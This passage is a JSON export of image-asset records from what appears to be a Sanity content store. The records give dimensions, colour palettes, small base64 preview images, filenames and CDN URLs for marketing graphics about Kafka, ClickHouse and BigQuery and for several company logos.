_type":"sanity.imagePaletteSwatch","background":"#e9ac99","foreground":"#000","population":0.13,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9e865f","foreground":"#fff","population":7.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cf284a","foreground":"#fff","population":2.69,"title":"#fff"}}},"mimeType":"image/webp","originalFilename":"blume-2000-zeitung-motiv_01_v02-emailschild-07_beitragsbild.webp","path":"images/sczeoy4w/production/6f5907b0d39e66e2ebe93549aac4e4bf5da04a28-1600x800.webp","sha1hash":"6f5907b0d39e66e2ebe93549aac4e4bf5da04a28","size":101204,"uploadId":"23lGGN4GIc0BCxrNdYz5JfAXPDEqfoEg","url":"https://cdn.sanity.io/images/sczeoy4w/production/6f5907b0d39e66e2ebe93549aac4e4bf5da04a28-1600x800.webp"} {"_createdAt":"2023-11-23T13:00:54Z","_id":"image-707fba71a49c8da1cc71711af0e6a7e0663d7a1a-1466x766-png","_rev":"BjY9n6joNYFLmv1rs2SDn9","_type":"sanity.imageAsset","_updatedAt":"2023-11-23T13:00:54Z","assetId":"707fba71a49c8da1cc71711af0e6a7e0663d7a1a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M6S$r*x]Rl-;sD~qaeD%e.azsERPM{WBIU","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9138381201044385,"height":766,"width":1466},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAABYlAAAWJQFJUiTwAAABUUlEQVQokX2S224DMQhE9///tJdsdm1zNc5U2ElTVU0fkCULDgPMdnx84rpf0RpBVeHu6L0jYmCM15E5IvpdQyR4e79i2y9XXC47Sqkwc0TEveiG2+11ZE7m9t7RI+DeIWrYiBgZ2U3YwKwwN8QIjH+Aj4g79DHZlh8zekBIUUpDE4J3nyr+BuUEWecTZO5P4LPTAIvhbA1VGqwvlVOBOUyX8h45YioiMB+oVMAiE5YCvoE9Bior9lpQuEJd74UOqYxynqi0/rMZacNZdhznAWKeucl5KhwDmtdSBhvPkafCHlAS1FJQuU5YFosZSiPUuztykgnMxXsMSCoxhZpCdEWqCw9Yk6mwUJnAeeFpnTzIWstj31vagz1wEqNQBTODWipqaze5dM5jlQX0BfxtoSdwKgywGdhkFqQfVdfbvUMb4zwOHPWcE/wELj8uT+ZRvgARyhA+7b8NMwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#533f65","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#184464","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c4ccae","foreground":"#000","population":0.19,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4ccae","foreground":"#000","population":0.19,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#95deee","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a85a82","foreground":"#fff","population":0.14,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc2c6c","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Project level 3 (1).png","path":"images/sczeoy4w/production/707fba71a49c8da1cc71711af0e6a7e0663d7a1a-1466x766.png","sha1hash":"707fba71a49c8da1cc71711af0e6a7e0663d7a1a","size":260554,"uploadId":"XhDPCmAMongIyiHNaHR8JzQHeuwCbwoQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/707fba71a49c8da1cc71711af0e6a7e0663d7a1a-1466x766.png"} {"_createdAt":"2023-09-29T13:18:05Z","_id":"image-70956cf8cc3b278c7d64c4a7557abf95b0e86647-1200x630-jpg","_rev":"kaQ4ZWos4gq6sBfd82g505","_type":"sanity.imageAsset","_updatedAt":"2023-09-29T13:18:05Z","assetId":"70956cf8cc3b278c7d64c4a7557abf95b0e86647","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MOD0Ti4mITxwxu9D.Aj]M_WA9L%Jj=Roay","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAABwAGCP/EACgQAAEDAgQEBwAAAAAAAAAAAAIAAQMEBQYREiEHFBcxIiNBUWFzkf/EABcBAAMBAAAAAAAAAAAAAAAAAAIDBAb/xAAfEQACAQIHAAAAAAAAAAAAAAAAAQIDERITITJSkeH/2gAMAwEAAhEDEQA/ABmgr7WFPEMlJrlZsifT3W7k4dX2822mqLPaoY4JQY2IpRZ3Z0Zi78qDbd/ZdIYfJxw/b3EibyQ9fhaenFy2uxK9Aw6N4qLcqCLP7xUlg5ZNT+Mv1SdkVOS69AxI/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f466f","foreground":"#fff","population":0.79,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141b6c","foreground":"#fff","population":9.43,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#818be9","foreground":"#fff","population":11.69,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#162182","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#818be9","foreground":"#fff","population":11.69,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#697093","foreground":"#fff","population":1.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c2424c","foreground":"#fff","population":0.25,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Kafka_Tiered_Storage_landing_page_meta_preview_1200x630 (1).jpg","path":"images/sczeoy4w/production/70956cf8cc3b278c7d64c4a7557abf95b0e86647-1200x630.jpg","sha1hash":"70956cf8cc3b278c7d64c4a7557abf95b0e86647","size":44554,"uploadId":"zJG5sRxc9qNqCGGjVxv0fihEXJjx659V","url":"https://cdn.sanity.io/images/sczeoy4w/production/70956cf8cc3b278c7d64c4a7557abf95b0e86647-1200x630.jpg"} {"_createdAt":"2023-10-30T15:20:41Z","_id":"image-709e275261c54c7b461b21dc626a29f6d18ef15f-800x400-jpg","_rev":"NgTOJkLjRz9tfm3Yda76tO","_type":"sanity.imageAsset","_updatedAt":"2023-10-30T15:20:41Z","assetId":"709e275261c54c7b461b21dc626a29f6d18ef15f","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2,"height":400,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAUDBgj/xAAjEAABBAEDBAMAAAAAAAAAAAABAAIDBBEFE5ISFCFTMTNB/8QAFAEBAAAAAAAAAAAAAAAAAAAAA//EABsRAAICAwEAAAAAAAAAAAAAAAECABEDQWES/9oADAMBAAIRAxEAPwDTM1Wy97y20WtJ8DHwpDXmGnSQsnJmLSBIfwqs9xNn7ZORQLE3tk5FActiqiqlG460Wleq0RHcs7socT1Zz4Qk2/N7ZORQjTyihRrsR2Z2LHfJ/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#34373c","foreground":"#fff","population":0.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b27215","foreground":"#fff","population":4.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b27215","foreground":"#fff","population":4.02,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c6c3c3","foreground":"#000","population":1.29,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8c287","foreground":"#000","population":0.45,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b79479","foreground":"#000","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f76e0b","foreground":"#fff","population":2.37,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"1698679224479.jpeg","path":"images/sczeoy4w/production/709e275261c54c7b461b21dc626a29f6d18ef15f-800x400.jpg","sha1hash":"709e275261c54c7b461b21dc626a29f6d18ef15f","size":15410,"uploadId":"qS6WHV8iPkcMFn0qIuERLL1Zac2TnE96","url":"https://cdn.sanity.io/images/sczeoy4w/production/709e275261c54c7b461b21dc626a29f6d18ef15f-800x400.jpg"} {"_createdAt":"2023-01-24T08:01:24Z","_id":"image-70a583cbc9a0b5f6c16ff5bcca89cd6f09e1879c-1567x844-jpg","_rev":"TE2o7iA1WIUKtaPRdgsgGl","_type":"sanity.imageAsset","_updatedAt":"2023-01-24T08:01:24Z","assetId":"70a583cbc9a0b5f6c16ff5bcca89cd6f09e1879c","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M85=*X-;Mxogj[_Nx]Mxj[a#tRofjZofae","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAQUAAAAAAAAAAAAAAAAAAAECAwUH/8QAHxAAAgIBBAMAAAAAAAAAAAAAAgQAATEDBREhEhNB/8QAFgEBAQEAAAAAAAAAAAAAAAAAAgUG/8QAGBEAAwEBAAAAAAAAAAAAAAAAAAExAhL/2gAMAwEAAhEDEQA/AMjDdkKXACRGzquLLruRObkrrKepdMdM/pXxcq2MBjEYE1CyqROnA8LhF5xCIJ//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#34645c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":64.36,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":64.36,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cccae6","foreground":"#000","population":0.01,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8ca4e0","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a4846c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b04848","foreground":"#fff","population":0.11,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"ClickHouse_analytical_workloads_blog.jpg","path":"images/sczeoy4w/production/70a583cbc9a0b5f6c16ff5bcca89cd6f09e1879c-1567x844.jpg","sha1hash":"70a583cbc9a0b5f6c16ff5bcca89cd6f09e1879c","size":136496,"uploadId":"Td8SJ6x9TVToZibnblsSBEDmuhVe7B2I","url":"https://cdn.sanity.io/images/sczeoy4w/production/70a583cbc9a0b5f6c16ff5bcca89cd6f09e1879c-1567x844.jpg"} {"_createdAt":"2022-11-09T11:35:07Z","_id":"image-70f3e97b1b2121946663715628ddc2f6b5314f64-2018x1118-png","_rev":"yEepckykK41PbFrRNZu5Sw","_type":"sanity.imageAsset","_updatedAt":"2022-11-10T05:57:26Z","altText":null,"assetId":"70f3e97b1b2121946663715628ddc2f6b5314f64","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8050089445438282,"height":1118,"width":2018},"exif":{"PixelXDimension":2018,"PixelYDimension":1118,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABYlAAAWJQFJUiTwAAABR0lEQVQokW2Th27DMAxE8//fmYEWaSwviUP0FaSloG4s4AGyRR/HyZdt2/AfX2YGIsI0zRinKZimCaWUOAP2WLMKYkLOOc4uzAxRRq2CaopqBnWqQVRBIiDhgMVjPaa2uApWwbwsGIaElEZc1nVFLisKLyDJKEIowoGL9X08a6MlIJUQJOaoMOfSBTOIC1h2RBtCoAafoQytFfZnXBfvu1CBqsY8zBRbw/f7GPb9JxW22XvuvkLQh1qrfpgTQ9+2mJedEO+3ZmSv0HvfBeupoH9UiLEsC+Z5PrDmHCb1Ct+C7rRnPBWsFi5+fX/jfr8Ht9sNj8cDP69XGHIQ9JZ7ltOWzaKS5/P5FrteryE4pASWXmFr2TPshpzPyV0kFizrinEckVLCMAyx92vi54cKRQQOs8SfEa4HhEKEXDql3bWO3w6C6FHwF54HXeT1omrFAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#646464","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5a582a","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d8d6ac","foreground":"#000","population":0.28,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4bad4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d8d6ac","foreground":"#000","population":0.28,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#838484","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ada951","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"premium-6x-8-kafka-bytes-in.png","path":"images/sczeoy4w/production/70f3e97b1b2121946663715628ddc2f6b5314f64-2018x1118.png","sha1hash":"70f3e97b1b2121946663715628ddc2f6b5314f64","size":195603,"title":null,"uploadId":"aCF9J2Yg4jPLLIK0BYxU1ru7RmBxaQA1","url":"https://cdn.sanity.io/images/sczeoy4w/production/70f3e97b1b2121946663715628ddc2f6b5314f64-2018x1118.png"} {"_createdAt":"2022-06-30T20:00:32Z","_id":"image-711098831b461a3c99daca55f39a8b7ea4db7208-1893x736-png","_rev":"4pG2it9AJU1nJxbjoLChpC","_type":"sanity.imageAsset","_updatedAt":"2022-09-17T20:45:59Z","assetId":"711098831b461a3c99daca55f39a8b7ea4db7208","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D5Ss50-;?b~qD%?bt7RjM{j[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.5720108695652173,"height":736,"width":1893},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA4UlEQVQokY2R226DMBBE/f8/WfJUFRHAe7MNNlOtUR7alDQrzZPHZ/YSmCLMDDlnpJTALIjEYFEQC+73GeM4vq0QY+ywWiu2bYOanQHJoEIgiiDmDhf1t9SDrxREBPu+4zgOtNY61JVLBvMKphXuEc0o2452HN17peBUB3l1aK09wHLBygRmgqnCUsG21+55eP+q4OP+ALYTmEpBFIYIQVUh5h2ewJcd5gtg6fsUqDDMd/erw6t6Aj6O44dZlhnzsoBFkEvpQf7+Sk9A/+QjTtOEYRjwMdzw+TVijRHM/K++AZEsb837Y7hDAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c4874","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c4c67","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e8d2a8","foreground":"#000","population":0.12,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cba8b3","foreground":"#000","population":0.07,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e8d2a8","foreground":"#000","population":0.12,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5e8bb1","foreground":"#fff","population":0.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#469bcc","foreground":"#fff","population":0.04,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"711098831b461a3c99daca55f39a8b7ea4db7208-1893x736.png","path":"images/sczeoy4w/production/711098831b461a3c99daca55f39a8b7ea4db7208-1893x736.png","sha1hash":"711098831b461a3c99daca55f39a8b7ea4db7208","size":96395,"uploadId":"tz3jXbEn56w0fqHc62OcxoEjk2QQIlwI","url":"https://cdn.sanity.io/images/sczeoy4w/production/711098831b461a3c99daca55f39a8b7ea4db7208-1893x736.png"} {"_createdAt":"2022-11-30T10:46:47Z","_id":"image-711b9ae842fded681b4a98664fc936ad677c99bb-1247x1349-gif","_rev":"v53ZsDDD1bdWz9EKVdrn4V","_type":"sanity.imageAsset","_updatedAt":"2022-11-30T10:46:47Z","assetId":"711b9ae842fded681b4a98664fc936ad677c99bb","extension":"gif","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.9243884358784284,"height":1349,"width":1247},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAWABQDASIAAhEBAxEB/8QAGQABAQADAQAAAAAAAAAAAAAAAAQBAgUD/8QAJBAAAgIBAgUFAAAAAAAAAAAAAAECAxEEIgUSEyGRMkFRUoH/xAAUAQEAAAAAAAAAAAAAAAAAAAAA/8QAFBEBAAAAAAAAAAAAAAAAAAAAAP/aAAwDAQACEQMRAD8A6HXtd0d8vJdrbLHCO6Xp+TmrPXiXa6TUY4+oGKbLVWt0vIPOmTdayAIXclbHsy/iFvJCvOe8PYADTTWc9Saz+gAD/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#515151","foreground":"#fff","population":1.8,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#848483","foreground":"#fff","population":7.68,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0.41,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#848483","foreground":"#fff","population":7.68,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/gif","originalFilename":"kafka-data-streaming-producer-writing-faster-than-consumer-reading.gif","path":"images/sczeoy4w/production/711b9ae842fded681b4a98664fc936ad677c99bb-1247x1349.gif","sha1hash":"711b9ae842fded681b4a98664fc936ad677c99bb","size":7143917,"uploadId":"3APKQbH65Yz5NzsRHq4tC2D7tCJVp0mL","url":"https://cdn.sanity.io/images/sczeoy4w/production/711b9ae842fded681b4a98664fc936ad677c99bb-1247x1349.gif"} {"_createdAt":"2024-03-25T16:07:19Z","_id":"image-71534bba6160f0f3bcd05d370cf3a477625c4872-252x72-png","_rev":"Y34ePYFQ489qDVybEK0RK3","_type":"sanity.imageAsset","_updatedAt":"2024-03-25T16:07:19Z","assetId":"71534bba6160f0f3bcd05d370cf3a477625c4872","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DZ5t8NUHY5klnLk7bWk8fhf8","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.5,"height":72,"width":252},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAABfUlEQVQYlS2RzW9McRiFj0FJENPQCoZGIj4iCEEzRYO6Mz3PnSlFFyLERuyKhUZamy6qmY1EYmFBCDN3ejOZmXY/tbDRWDUIIuJvkV/M4knOOYs3ec+Rlp73afFlWe03FTWTeTUWi0o7WS180uGpSUVXxgUE1gH7geO2N3ezDNAbMuAksEn/j716pNa7aTVaM0o7D7TwOZ990d5SKkS9juPdhm3AduAMENk+COwAcsAB4DxwCRiQ2q+fqfV2Ss33eaWdYSUr06qv3u2vpAOlQnTUxBcNeWAImADuAGOAgQJwwfYN4F7wUjOZU6P1WOnykGpfh1X99kTJr9s755J9pWJ0zMTnDCO2rwK3gJvA9S6XgbO2g74PXJMaSyWlyw9V/zKj2venqv6cVO3PYG62ujUuFvpNvCu8aPs0cAoYBII+AuwF9gCHuh2ekNKPfaqvlJWsVlT7Ma/q71FV/2Zzsx/WjIxPZEbjcsb2etsbgB5gY8B2GCmMElgbsN3zDy7vl2ZJ3r6YAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#344c58","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04704c","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#07a3e1","foreground":"#fff","population":0.96,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#046b94","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7ed7fa","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c7171","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#07a3e1","foreground":"#fff","population":0.96,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"rubrik_logo.png","path":"images/sczeoy4w/production/71534bba6160f0f3bcd05d370cf3a477625c4872-252x72.png","sha1hash":"71534bba6160f0f3bcd05d370cf3a477625c4872","size":6870,"uploadId":"qR8XAj8JR8Dbu1eUGJ9jN56lPTR1Q89A","url":"https://cdn.sanity.io/images/sczeoy4w/production/71534bba6160f0f3bcd05d370cf3a477625c4872-252x72.png"} {"_createdAt":"2022-08-16T15:50:12Z","_id":"image-71ab0a34ea1f6bba1f83d889e476b63ed34b61f4-48x48-svg","_rev":"AItYcVmwODXGfe9M0GPqVK","_type":"sanity.imageAsset","_updatedAt":"2022-08-16T15:50:12Z","assetId":"71ab0a34ea1f6bba1f83d889e476b63ed34b61f4","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":48,"width":48},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAE9klEQVQ4jX2Vy1NTdxTHbxb4B9Blt51hqYs2DwiQBEQCeTnWjmO7cOroyJA3CSS5CVqI2irVDlVatAgMMpUkN+8QcnMfIFKDKA8RKolVK8x0yQo6zMA5nRugPjrTxd1+5pz7Pd/Pj9CQDKElGaLRzRJqNy1Su+lStTujrHeNdda1pbnDraNrtc7UpsqR3FS2JNaq7TGuyhbtrLRGlHJL+KNyS0T0qS1KyEwUITUHCUIA6pw8ofFkSxo92bIGN92kdtNUvSuTP9I2tl7XOrpV60zt1DiSO8qWxJbCHl+vskXzldYIVWEJN5WbqTKZmSr5xD5CyMwUQTQ4M4TWyx7QkMwhjYfxN3qyCw1ueqPelcG61jTWOkdR5UiisiWBCnscq+1xrLJFsdIa2aiwhBfKzZRfZg4dkpqCBxSuBEHovZxI52XLtCTr15BModGT3Va7aVS7M6D10nC8g4UTfhaOXaCh3pUChT0OVbYoVFojWGEJb5ebqYLMFPJLTMEysXFEROh9XKnOyzXpvOyChmS2Gz1Z0PsYON01CR1Dc/hzYhn60s+hJ74E7QMz8OVlFmuccZBbI1BhCUO5mdqWmkILEmOwSdwcKCX0Pl6p93GUzstuaEgGDe0sWG7kYCCTx9T0G6Duv8JhpoDBiZeYePgab6eW4cz346hyxPaBKDWFNiTGICU2BpSEwcf79T4ur/NyqCUZOHttCgYzBUzl3sC10CI2d0/hqSvjeO6HSbw6Mo+xqVfYm1yCE34a5btAkJpCKDEGVsTNgU7C0M5zBh+/riVZPHaBh4vDC5ieXi3Cvuhg8ej5LJ68xKHWO4ZHz2fwu3tzRainLwcqRwxlphDIdoHr4uYRTgCuGXz8loZk8avL9+F2agUiD16jrSeHn3/DouXmQ/z213k83TWBKkcCz1ybwMD4C/wx8hQ1ZEqYbh+4JW4eWROAfxt8/I4APHXlAQzSL+Ae/xI9fY/Re+cxXqcWsX9sBT19j/DkRRbPXp/Au0web6eW0NA+ChJjCGTmInBH3DyyKQA394HvTng18BS7w0v4y+hzHMrmsSuwgOSdR9g+MIPBiRd4I7r44YQ7+8Diyvv/8NLwAqSnV7F/LI8dQ7N4cXgOu8PP0Nc/U5zyVmq5mLa3f7qYtOw/K/t4Tu/j13dTZoWUcTBTgPSjVeyJL+OFwSfYMfQEvXdm8MfIM5xc/AuZ2VU035yEKlsEZW9TFkJhBWDn/tloSAaKd3gzhwOZPKRyb1BYPzD+B1KTLzGZ+xPZ2TXk5tagO/wUj3dkQG4RgEGUGIO7Z/PhYb/TFOy8Owe9yd+LofyUEKZ9jLaeKeiOLOI9vgCO3ilQOqICbENqDIbEzQGlACxWT/tO9dRuGoQu67w0vt/lUahxJPCEPwvO3t/g6y4OFC2RbYkxOC81Bc/tVo/kRTov954cGtw01rsyUNeahhrnKKhakqBoSRTFUG2PgcIeg1pnHJWO6HaFhSpITSG/tCiHoIhobOUFfZVoSebgnr7m1Xv6OtI2tquw1hTWON8qTNCX3BLZKDf/q6+DEmOwRNGSFATLEsfIWULjYfYEmz2ndtOheldm5Uhbev3wnmBVe4KttscEwa4IgpVbw00VFkGwoZKPdbeK1ia0JFv8ND6eaHBnRQ0uulTt+r8nIM5W2WKdldaoUm6NlJZbKNFn1jAhM4UIiTFA/APGTrkE/b8C4QAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#243346","foreground":"#fff","population":0.35,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#152a57","foreground":"#fff","population":0.61,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5f7cb0","foreground":"#fff","population":5.3,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#839fc0","foreground":"#000","population":2.21,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#99c1ed","foreground":"#000","population":0.48,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5f7cb0","foreground":"#fff","population":5.3,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4276c4","foreground":"#fff","population":4.6,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-big-query.svg","path":"images/sczeoy4w/production/71ab0a34ea1f6bba1f83d889e476b63ed34b61f4-48x48.svg","sha1hash":"71ab0a34ea1f6bba1f83d889e476b63ed34b61f4","size":1108,"uploadId":"0Os065P6EhOU82F0oeoEpY0SsZGOAsfq","url":"https://cdn.sanity.io/images/sczeoy4w/production/71ab0a34ea1f6bba1f83d889e476b63ed34b61f4-48x48.svg"} 